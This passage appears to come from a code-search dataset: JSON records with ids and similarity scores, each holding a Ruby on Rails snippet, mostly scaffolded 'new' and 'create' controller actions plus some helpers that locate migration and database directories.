end\n end", "title": "" }, { "docid": "205f7964fe8698bb48958681cdd3d2a8", "score": "0.7135845", "text": "def new\n # brand instance\n @brand = Brand.new\n end", "title": "" }, { "docid": "a4b3ef6de2c890c85849f3e0abeabf6a", "score": "0.71339643", "text": "def new\n @bb = Bb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bb }\n end\n end", "title": "" }, { "docid": "53b7340c1290c73a7d6203cc41d037c1", "score": "0.7127838", "text": "def new\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end", "title": "" }, { "docid": "49d993cee7fdacd789fc202542ac800d", "score": "0.70999783", "text": "def new\n @brewery = Brewery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brewery }\n end\n end", "title": "" }, { "docid": "8fd7e023467b15fc83a9b9914a47900a", "score": "0.709743", "text": "def new\n @brand = Brand.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brand }\n end\n end", "title": "" }, { "docid": "362537f4fbebb5c116bf03b292311057", "score": "0.7092657", "text": "def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brother }\n end\n end", "title": "" }, { "docid": "56ea2b07e974034c319af0b13f14a243", "score": "0.7085391", "text": "def new\n @model = Model.new\n brand = Brand.find(params[:brand_id].to_i)\n @model.brand_id = brand.id\n\n respond_to do |format|\n format.html { render \"forms/new_edit\", :locals => {:object => [brand, @model]}}\n format.json { render json: @model }\n end\n end", "title": "" }, { "docid": "56abb991b28b3e3ca09332b50aaffb1c", "score": "0.7068372", "text": "def new\n @barn = Barn.new\n set_page_title\n if current_user.is_admin?\n @farms = Farm.all\n @locations = []\n @barns = []\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @barn }\n end\n end", "title": "" }, { "docid": "de018353694ae30e457d2fa4d3a3dd74", "score": "0.70669633", "text": "def new\n @beverage = Beverage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beverage }\n end\n end", "title": "" }, { "docid": "7b8666f31e1adf10a4be0a3d65b40f03", "score": "0.7066198", "text": "def new\n @baton = Baton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baton }\n end\n end", "title": "" }, { "docid": "e36f97f4e70d05b5c1853c54502e33fc", "score": "0.70514464", "text": "def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_bid }\n end\n end", "title": "" }, { "docid": "3b8219d7807b2ee641b654413a28ffb5", "score": "0.7041005", "text": "def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end", "title": "" }, { "docid": "6ae2e1fb914e30002739d6baf4665f0e", "score": "0.70398307", "text": "def new\n @pin = current_user.pins.new\n @items_types = ITEM_TYPE_LIST\n @brands = Brand.find(:all, :order => \"name\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pin }\n end\n end", "title": "" }, { "docid": "e11087296ec18b2c9f75dea4256a59f4", "score": "0.7037799", "text": "def create\n @brand = Brand.new(params[:brand])\n\n respond_to do |format|\n if @brand.save\n format.html { redirect_to brands_path, notice: 'Brand was successfully created.' }\n format.json { render json: @brand, status: :created, location: @brand }\n else\n format.html { render action: \"new\" }\n format.json { render json: @brand.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "372a8fe9232421d8709fa0752f89ec04", "score": "0.70312405", "text": "def new\n @baggage = Baggage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baggage }\n end\n end", "title": "" }, { "docid": "afd58ae0b33333d3757818d720a1c956", "score": "0.702693", "text": "def new\n @bike = Bike.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bike }\n end\n end", "title": "" }, { "docid": "e4b58ecbfbaba048674a627a7f073042", "score": "0.7022146", "text": "def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end", "title": "" }, { "docid": "eb0bc34bdff5bc8d8b814fc6f0bedc64", "score": "0.701528", "text": "def new\n @star_branch = Star::Branch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @star_branch }\n end\n end", "title": "" }, { "docid": "7bfc9fece2135d98e82ab4c64fb1868f", "score": "0.7014707", "text": "def new\n @bokin = Bokin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bokin }\n end\n end", "title": "" }, { "docid": "7c076309d3c46a3400fcaaa6720da428", "score": "0.70134795", "text": "def new\n @bid = Bid.new\n @item = Item.find(params[:id])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n end", "title": "" }, { "docid": "a8aa813e6c2ef4c3e867bc627519c6ce", "score": "0.6989703", "text": "def new\n @bl = Bl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bl }\n end\n end", "title": "" }, { "docid": "d42fc344f07216c663a085491a3f1718", "score": "0.69730365", "text": "def create\r\n @brand = Brand.new(params[:brand])\r\n\r\n respond_to do |format|\r\n if @brand.save\r\n format.html { redirect_to administration_brands_url, notice: 'Brand was successfully created.' }\r\n format.json { render json: @brand, status: :created, location: @brand }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @brand.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "4f0c84f4c24f99e6d387cd21108dc94b", "score": "0.69550496", "text": "def new\n @borc = Borc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borc }\n end\n end", "title": "" }, { "docid": "5a9cd5512125b0484014a2f95b707ed0", "score": "0.69385386", "text": "def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end", "title": "" }, { "docid": "5a9cd5512125b0484014a2f95b707ed0", "score": "0.69385386", "text": "def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end", "title": "" }, { "docid": "2cc1d4b11aa942e7266939b9c43e1c3b", "score": "0.6937189", "text": "def new\n @billcategory = Billcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billcategory }\n end\n end", "title": "" }, { "docid": "21178c4eb38d80049a1cac509bb534e8", "score": "0.6919835", "text": "def new\n @brag = Brag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @brag }\n end\n end", "title": "" }, { "docid": "6fc5ca2d68e3e4b758c8b2ebf885e04b", "score": "0.69114786", "text": "def new\n @brand_owner = BrandOwner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.json { render json: @brand_owner }\n end\n end", "title": "" }, { "docid": "9381abdc21e7617543b73826cb7c08f2", "score": "0.6907484", "text": "def new\n @supplysite = Supplysite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplysite }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "6293cc2cd87b3a16a9bd34a5c37cf5ca", "score": "0.69032633", "text": "def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end", "title": "" }, { "docid": "066cbe9d546f06cd6c75c5cb8561ef9c", "score": "0.69028085", "text": "def new\n @borad = Borad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @borad }\n end\n end", "title": "" }, { "docid": "70191de95a9e2eb5d3d44bccdf5685c7", "score": "0.6895834", "text": "def new\n #admin only\n return redirect_to static_pages_adminonlyerror_path if !current_user.is_admin\n @blessing = Blessing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blessing }\n end\n end", "title": "" }, { "docid": "1e9bc5a9f9f20f7b9abe05ecb1832ddc", "score": "0.68946385", "text": "def new\n @branch = Branch.new(parent_id: params[:branch_id])\n if params[:branch_id]\n @branch_details = Branch.find(params[:branch_id])\n @title = \"Create a branch under #{@branch_details.name}\"\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @branch }\n end\n end", "title": "" }, { "docid": "1e69848abc602e6bb023a596fcc50a98", "score": "0.6894197", "text": "def new\n @belief = Belief.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @belief }\n end\n end", "title": "" }, { "docid": "3441b042c0074a1c5f81f1619da4fc62", "score": "0.6893605", "text": "def new\n @biz_company = BizCompany.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @biz_company }\n end\n end", "title": "" }, { "docid": "6003ec2a24fb45686e06fe2d6c9d363c", "score": "0.68883", "text": "def new\n @business_type = BusinessType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @business_type }\n end\n end", "title": "" }, { "docid": "06a1c04cf97d46bdab02b3b8f65a441d", "score": "0.6887815", "text": "def new\n @borrow_request = BorrowRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow_request }\n end\n end", "title": "" }, { "docid": "24c04661d5ba79f397174909956adfbc", "score": "0.68834525", "text": "def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "24c04661d5ba79f397174909956adfbc", "score": "0.68834525", "text": "def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end", "title": "" }, { "docid": "784c7113b3149c262dd979bb0c2f4479", "score": "0.68788683", "text": "def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end", "title": "" }, { "docid": "213fbbd64983a0a199cc12223739a8aa", "score": "0.68765175", "text": "def new\n @flavor = Flavor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @flavor }\n end\n end", "title": "" }, { "docid": "09db796f4d6a08c2a9d9fac7265fda1a", "score": "0.6875516", "text": "def new\n @carpool = Carpool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @carpool }\n end\n end", "title": "" }, { "docid": "9c2e7e253ed0abb7b9bb9c6cda9529aa", "score": "0.68705386", "text": "def new\n @pickup = Pickup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pickup }\n end\n end", "title": "" }, { "docid": "f3986c0716433f2acce897548f048c89", "score": "0.6870107", "text": "def new\n @kb = Kb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @kb }\n end\n end", "title": "" }, { "docid": "854b08050036a06aee57839b00c70e54", "score": "0.68665934", "text": "def new\n @bet = Bet.new(:odd_inflation => 10, :bid_amount => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bet }\n end\n end", "title": "" }, { "docid": "e2f7968ed92ecc6537a268190c897b3e", "score": "0.68534786", "text": "def new\n get_projects\n\n\n @breadcrumb = 'create'\n @billable_item = BillableItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billable_item }\n end\n end", "title": "" }, { "docid": "55aa652d715af11afd04b27138806f6f", "score": "0.68497014", "text": "def new\n @supplies_loan = SuppliesLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_loan }\n end\n end", "title": "" }, { "docid": "c477fa1a56b922809f0a3f6d87ff7041", "score": "0.6837128", "text": "def new\n @b = B.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @b }\n end\n end", "title": "" }, { "docid": "cfacb1d5af8293e3fce0d9399921aedf", "score": "0.6835148", "text": "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "title": "" }, { "docid": "da661e3632089aa702a1e84e85dfa889", "score": "0.6833162", "text": "def new\n @climb = Climb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @climb }\n end\n end", "title": "" }, { "docid": "fa75d149a8a2eecb7b992fdda54cc2da", "score": "0.6828798", "text": "def new\r\n @company = Company.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @company }\r\n end\r\n end", "title": "" }, { "docid": "6ba0b723c5e6b0dd40539522f471cf2e", "score": "0.68263793", "text": "def new\r\n @bill = Bill.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @bill }\r\n end\r\n end", "title": "" }, { "docid": "e7ca060e5a333160e790dd4fed652c3c", "score": "0.68187684", "text": "def new\n @solution.brands << website.brand\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @solution }\n end\n end", "title": "" }, { "docid": "46ef3d83b24523301f6f596c5c8bb8c0", "score": "0.68164515", "text": "def new\n @stocklist = Stocklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stocklist }\n end\n end", "title": "" }, { "docid": "9a111a173dcb4e568f7953c9ba6272fc", "score": "0.68156946", "text": "def new\n place = Place.new\n\n render json: place\n end", "title": "" }, { "docid": "b0193c85935f0a7de9e82a9ed4341eca", "score": "0.6812428", "text": "def new\n @blacklist = Blacklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blacklist }\n end\n end", "title": "" }, { "docid": "17c25615d0e7d3fe2d5c2e418497f130", "score": "0.68048394", "text": "def new\n @budgeting_type = BudgetingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "title": "" }, { "docid": "b2c7ec4e84f480d2a137d7ddba3b0982", "score": "0.6793821", "text": "def new\n @believer = Believer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @believer }\n end\n end", "title": "" }, { "docid": "8313a87e99637c352aa768e17ed36cde", "score": "0.67914885", "text": "def new\n @bowl = Bowl.new\n @dry_fruits = DryFruit.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bowl }\n end\n end", "title": "" }, { "docid": "cf568cb8e02f8a5ae89c6820d9050d3b", "score": "0.6790871", "text": "def new\n @village = Village.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @village }\n end\n end", "title": "" }, { "docid": "f2433551923669fbe6a5cd0564b79f28", "score": "0.678991", "text": "def create\n @brands_category = BrandsCategory.new(brands_category_params)\n\n respond_to do |format|\n if @brands_category.save\n format.html { redirect_to @brands_category, notice: 'Brands category was successfully created.' }\n format.json { render :show, status: :created, location: @brands_category }\n else\n format.html { render :new }\n format.json { render json: @brands_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1fc81ccd0165cbcd3963e479355e1842", "score": "0.67814577", "text": "def new\n @business = Business.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @business }\n end\n end", "title": "" }, { "docid": "cde6732310b1164f60009c45b7bbc7d0", "score": "0.6777619", "text": "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @budget }\n end\n end", "title": "" }, { "docid": "e84efaea811d00d47acd4b409df54ec7", "score": "0.67768866", "text": "def create\n @brand = Brand.new(brand_params)\n\n respond_to do |format|\n if @brand.save\n format.html { redirect_to cp_brand_url(@brand), notice: 'Бренд создан.' }\n format.json { render :show, status: :created, location: @brand }\n else\n format.html { render :new }\n format.json { render json: @brand.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "918625d02bb17cd27ee4224cdfd335a5", "score": "0.6776153", "text": "def new\n @sugar_bag = SugarBag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sugar_bag }\n end\n end", "title": "" }, { "docid": "784a4f0ef23e0ee690c3a84d4cd0cb59", "score": "0.67717683", "text": "def create\n @brand = Brand.new(brand_params)\n\n respond_to do |format|\n if @brand.save\n format.html { redirect_to @brand, notice: 'Brand was successfully created.' }\n format.json { render :show, status: :created, location: @brand }\n else\n format.html { render \"forms/new_edit\", :locals => {:object => @brand} }\n format.json { render json: @brand.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f1867030f56738b0fee8bd366e9524e0", "score": "0.6770162", "text": "def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end", "title": "" }, { "docid": "40f7a591d61d653a186a3874c35fd013", "score": "0.67666966", "text": "def new\n\t\t\t\t@brewery = Brewery.new\n\n\t\t\t\trespond_to do |format|\n\t\t\t\t\t\tformat.html # new.html.erb\n\t\t\t\t\t\tformat.json { render json: @brewery }\n\t\t\t\tend\n\t\tend", "title": "" }, { "docid": "de961f2a8d7f5ad6de77031964424d52", "score": "0.67651206", "text": "def new\n @region = Region.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @region }\n end\n end", "title": "" }, { "docid": "2e6f99dd3be89abf01401eb802589b08", "score": "0.6763661", "text": "def new\n @business = Business.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @business }\n end\n end", "title": "" }, { "docid": "37258ad82dabfa9e522215b5b74f44e7", "score": "0.6762014", "text": "def new\n @branch = Branch.new\n respond_with(@branch)\n end", "title": "" } ]
6da32ff5a6fadb9899df09fcf04e98b9
Returns the name of the migrations directory for this database. This is either the directory given in the :migrations_dir option or the default directory of the lotaris.yml resource found under /svn/lme/migrations/default_dir.
[ { "docid": "8817c90052104f492a6a050fd9d671c5", "score": "0.79200155", "text": "def migrations_dir options\n options[:migrations_dir] || @conf.default_dir\n end", "title": "" } ]
[ { "docid": "02010c11f05ad0de96384708ad9f8a51", "score": "0.7559398", "text": "def migration_directory\n File.join(self.directory, 'db', 'migrate')\n end", "title": "" }, { "docid": "892e57671abb421e265efa2c92e07621", "score": "0.72984457", "text": "def migration_directory\n File.join(directory, 'db', 'migrate')\n end", "title": "" }, { "docid": "0c40d7c91434532106c687ad42e162f9", "score": "0.7243803", "text": "def migration_directory\r\n File.join(self.root, 'db', 'migrate')\r\n end", "title": "" }, { "docid": "7a0fc59c9b03acb2cfb34e649f085029", "score": "0.70310247", "text": "def migrations_path\n migrations = File.expand_path( \"../../../config/migrations\", __FILE__ )\n migrations\n end", "title": "" }, { "docid": "a734df7f2062b313c389b723f9d4a916", "score": "0.7029152", "text": "def migrations_directory(*p)\n if p.length == 0\n @migration_directory\n else\n if is_absolute_path?(p[0])\n # it looks like an absolute path\n @migration_directory = p[0]\n else\n # it looks like a relative path\n if @base_directory\n @migration_directory = File.join(@base_directory, p[0])\n else\n @migration_directory = p[0]\n end\n end\n end\n end", "title": "" }, { "docid": "c9d1c7d7dfb8f955fb7903235c520d63", "score": "0.687994", "text": "def migration_data_directory\n @migration_data_directory ||= migrate_directory.join(migration_filename[0..-4])\n end", "title": "" }, { "docid": "ee746ed2fdb6b1f77bcb957fbce94b24", "score": "0.66440976", "text": "def migrations_path\n OTR::ActiveRecord.migrations_paths[0]\n end", "title": "" }, { "docid": "f209ce976ddf3961a408b85ead1515bb", "score": "0.6536278", "text": "def migrations_path\n File.join(Rails.root, \"db/evolver/migrations\")\n end", "title": "" }, { "docid": "7c0549ee5a63a6d030870d1d5f1f359e", "score": "0.653607", "text": "def full_migrations_path\n File.join(Rails.root, *migrations_paths.split(File::SEPARATOR))\n end", "title": "" }, { "docid": "87fcd853fbb64d1c0df2c989c1e358f9", "score": "0.64113355", "text": "def directory\n @sql_directory if defined?(@sql_directory)\n end", "title": "" }, { "docid": "7cfe572dd62f0f252986ab884b9f4003", "score": "0.61984736", "text": "def migrations_path\n 'vendor/plugins/pg_active_schema/db/migrate'\n end", "title": "" }, { "docid": "1644a52cd1a1190a1130df1a6149ed32", "score": "0.61287224", "text": "def local_migrations_stage_directory\n File.join local_migrations_root_directory, 'stage'\n end", "title": "" }, { "docid": "83398e512ada883371326bd8c787b947", "score": "0.6073879", "text": "def db_migration_schema\n return schema_name if respond_to?(:schema_name) && schema_name.present?\n\n current_user_app_type = current_admin.matching_user_app_type\n dsn = current_user_app_type&.default_schema_name\n return dsn if dsn\n\n res = category.split('-').first if category.present?\n res ||= Settings::DefaultMigrationSchema\n return res if res.present?\n\n # Default to the first in the search path if nothing else works\n Admin::MigrationGenerator.current_search_paths.first\n end", "title": "" }, { "docid": "2be2ea9f2eb7915dd80f200d13fbb669", "score": "0.60153526", "text": "def local_migrations_classes_directory\n File.join local_migrations_root_directory, 'classes'\n end", "title": "" }, { "docid": "b9c25a9343113eeb7462fb39ea9b438f", "score": "0.601404", "text": "def migrations(path = nil)\n if path.nil?\n @migrations\n else\n @migrations = root.join(path).realpath\n end\n end", "title": "" }, { "docid": "f7801acb208a7b93e494866a35c0c95d", "score": "0.6011969", "text": "def get_migration(name)\n basedir = './db/migrate'\n Dir.chdir(basedir)\n file = basedir + '/' + Dir.glob(\"*\" + name + \"*\").first\n Dir.chdir('../../')\n return file\n end", "title": "" }, { "docid": "29e370a648105df0e3d86c202484110c", "score": "0.6004335", "text": "def filename name\n timestamp = Time.now.to_i.to_s << \"_\"\n File.join(DB_MIGRATIONS_DIR, timestamp + name.downcase + '.rb')\n end", "title": "" }, { "docid": "561012fc953d41dfcf3a33c807d2c21d", "score": "0.59891164", "text": "def migrations_paths; end", "title": "" }, { "docid": "561012fc953d41dfcf3a33c807d2c21d", "score": "0.59891164", "text": "def migrations_paths; end", "title": "" }, { "docid": "561012fc953d41dfcf3a33c807d2c21d", "score": "0.59891164", "text": "def migrations_paths; end", "title": "" }, { "docid": "e75d535a27dccf1a11d85c64fa2e1b8d", "score": "0.58980626", "text": "def full_shared_schema_migration_path\n \"#{Rails.root}/#{shared_migrations_directory}\"\n end", "title": "" }, { "docid": "e75d535a27dccf1a11d85c64fa2e1b8d", "score": "0.58980626", "text": "def full_shared_schema_migration_path\n \"#{Rails.root}/#{shared_migrations_directory}\"\n end", "title": "" }, { "docid": "8ce68f5489ca035540fdf528b1d5e6c5", "score": "0.58586544", "text": "def migrations_paths\n configuration_hash[:migrations_paths]\n end", "title": "" }, { "docid": "5a3763c11c5b61c14d48a01007215687", "score": "0.5812849", "text": "def database_dir\n if system_only?\n @system_dir + \"database\"\n else\n private_data_dir + \"database\"\n end\n end", "title": "" }, { "docid": "2d3fdd93922b97d844f47d4bdc61471c", "score": "0.5795542", "text": "def migrations_paths\n OTR::ActiveRecord.migrations_paths\n end", "title": "" }, { "docid": "23dba41182c358018c75c164f0421f7b", "score": "0.5793754", "text": "def migration_file_name; end", "title": "" }, { "docid": "eff0c65e76e5f961ec3d609a003b32e1", "score": "0.5763566", "text": "def remote_migrations_root_directory\n File.join shared_path, fetch(:remote_migrations_root_directory)\n end", "title": "" }, { "docid": "180727c834ea2511cd9f8cf4ec6de2e0", "score": "0.5704739", "text": "def build_migration_path(manifest_path, migration_name)\n File.join(manifest_path, UP_DIRNAME, \"#{migration_name}\")\n end", "title": "" }, { "docid": "b606c98dad5890ebb46abeb7d29698e6", "score": "0.5691012", "text": "def log_directory\n sn = split_name\n \"#{sn[0]}_#{sn[-1]}s\"\n end", "title": "" }, { "docid": "ff668ae3252e4ae74d427c1e881a086a", "score": "0.5590575", "text": "def path_to_migrations\n raise \"You should override path_to_migrations\"\n end", "title": "" }, { "docid": "7e718f122f95ba48a2176541fa425010", "score": "0.55753344", "text": "def migration_name\n # We add the current DateTime to the migration class name, as migration names have to be unique.\n table_exists? ? \"Update#{table_name.camelize}#{migration_time}\" : \"Create#{table_name.camelize}\"\n end", "title": "" }, { "docid": "a0947d43702bd3bade9e9efb0317b88e", "score": "0.552734", "text": "def default_schema_table\n :schema_migrations\n end", "title": "" }, { "docid": "180014dda5a3346da492e173730d28f7", "score": "0.55051625", "text": "def next_migration_path(migration_name)\n \"%s/%s/%03d_%s.rb\" % [ @tool, MIGRATIONS_SUBFOLDER,\n self.next_migration_number, migration_name ]\n end", "title": "" }, { "docid": "c07e054dac761b9c13cd1af71de85d99", "score": "0.547478", "text": "def database_dir\n return @cfg_store.server_mode ? SERVER_RSRC_DIR+\"db/\" : dir(:db)\n end", "title": "" }, { "docid": "19800d080992928b4405eb6e39762e51", "score": "0.54330933", "text": "def dir_name\n @dir_name || @gem_name\n end", "title": "" }, { "docid": "3a7270177044985650b77032bfd7ce6c", "score": "0.5380027", "text": "def migrations_paths=(_arg0); end", "title": "" }, { "docid": "3a7270177044985650b77032bfd7ce6c", "score": "0.5380027", "text": "def migrations_paths=(_arg0); end", "title": "" }, { "docid": "499cc6c67b5c737b42225594d7ebce95", "score": "0.53423095", "text": "def setup_migrations_path(shard_group)\n shard_group_migrations_dir = File.join(Rails::Sharding::Config.shards_migrations_dir, shard_group.to_s)\n ActiveRecord::Tasks::DatabaseTasks.migrations_paths = [shard_group_migrations_dir]\n ActiveRecord::Migrator.migrations_paths = [shard_group_migrations_dir]\n FileUtils.mkdir_p(shard_group_migrations_dir)\n end", "title": "" }, { "docid": "5517f1937d74f3af6f461ebb01304094", "score": "0.53384304", "text": "def remote_migrations_classes_directory\n File.join(remote_migrations_root_directory, 'classes')\n end", "title": "" }, { "docid": "6d5efbb249013b10809f1f58be949a4a", "score": "0.5318854", "text": "def deployment_directory_name\n @deployment_directory_name ||= \"#{Config.deployment_name}-#{Cache.repository_revision}-#{Time.now.strftime '%Y%m%d-%H%M%S%L'}\"\n end", "title": "" }, { "docid": "5c7536dfa4bc432f64ece9ac35db5721", "score": "0.53145826", "text": "def db_backup_dir(db)\n File.expand_path(\"#{@backup_dir}/#{db}\")\n end", "title": "" }, { "docid": "e97eb4c8e07eae79915b5d9aebf236bb", "score": "0.53133875", "text": "def mysql_directory\n Jetpants.mysql_datadir\n end", "title": "" }, { "docid": "4ffcfc9b7a57eaad6cb0b208233f1782", "score": "0.52919495", "text": "def init\n if Dir.exists?(DB_MIGRATIONS_DIR)\n \"#{DB_MIGRATIONS_DIR} directory already exists\"\n else\n FileUtils.mkdir_p(DB_MIGRATIONS_DIR)\n \"#{DB_MIGRATIONS_DIR} directory created\"\n end\n end", "title": "" }, { "docid": "e022407fa34a18fce9a048657a14c435", "score": "0.529069", "text": "def identify_migrations\n\t\torig = \"cassandra_#{@opts[:original_version]}\"\n\t\tTrollop::die \"#{MISSING_MIGRATION} #{orig}\" unless File.exists? \"#{MIGRATIONS_DIR}/#{orig}\"\n\n\t\tfinal = \"cassandra_#{@opts[:final_version]}\"\n\t\tTrollop::die \"#{MISSING_MIGRATION} #{final}\" unless File.exists? \"#{MIGRATIONS_DIR}/#{final}\"\n\tend", "title": "" }, { "docid": "a203f1c86e93593d0a838f9d878593d8", "score": "0.52848023", "text": "def default_role_path\n Pathname.new(Dir.pwd).ascend do |path|\n possible = File.join(path, \"roles\")\n return possible if File.exist?(possible)\n end\n\n nil\n end", "title": "" }, { "docid": "812d0344eeb197c5493298261ab2d2c0", "score": "0.5251991", "text": "def db_path\n path = Pathname(csv)\n (path.dirname + (path.basename(\".csv\").to_s + \".db\")).to_s\n end", "title": "" }, { "docid": "2de312b9ddd54bfb26be9d896578c58f", "score": "0.52406967", "text": "def db_backup_dir\n \"#{backup_dir}/mysql\"\n end", "title": "" }, { "docid": "fdeb866bd61c93e49727b2ce6fab3c07", "score": "0.5240447", "text": "def local_database_config_path\n File.join 'temp', \"db_settings.#{fetch(:stage)}.yaml\"\n end", "title": "" }, { "docid": "fdeb866bd61c93e49727b2ce6fab3c07", "score": "0.5240447", "text": "def local_database_config_path\n File.join 'temp', \"db_settings.#{fetch(:stage)}.yaml\"\n end", "title": "" }, { "docid": "d8621504ddac7b6283452ebb7a07a0d0", "score": "0.5238594", "text": "def last_migration_number\n (Dir[\"db/migrations/*\"].map do |name|\n name.scan(/(\\d+)\\_/).flatten.last\n end.compact.max || 0).to_i\n end", "title": "" }, { "docid": "0545a2fc4617af701b1c72cd0eed5183", "score": "0.5221568", "text": "def dirname\n @dirname || DEFAULT_DIRNAME\n end", "title": "" }, { "docid": "e4e49fe4f200643b9acce962cf45b452", "score": "0.52143556", "text": "def return_last_migration_number\n Dir[destination_root('db/migrate/*.rb')].map { |f|\n 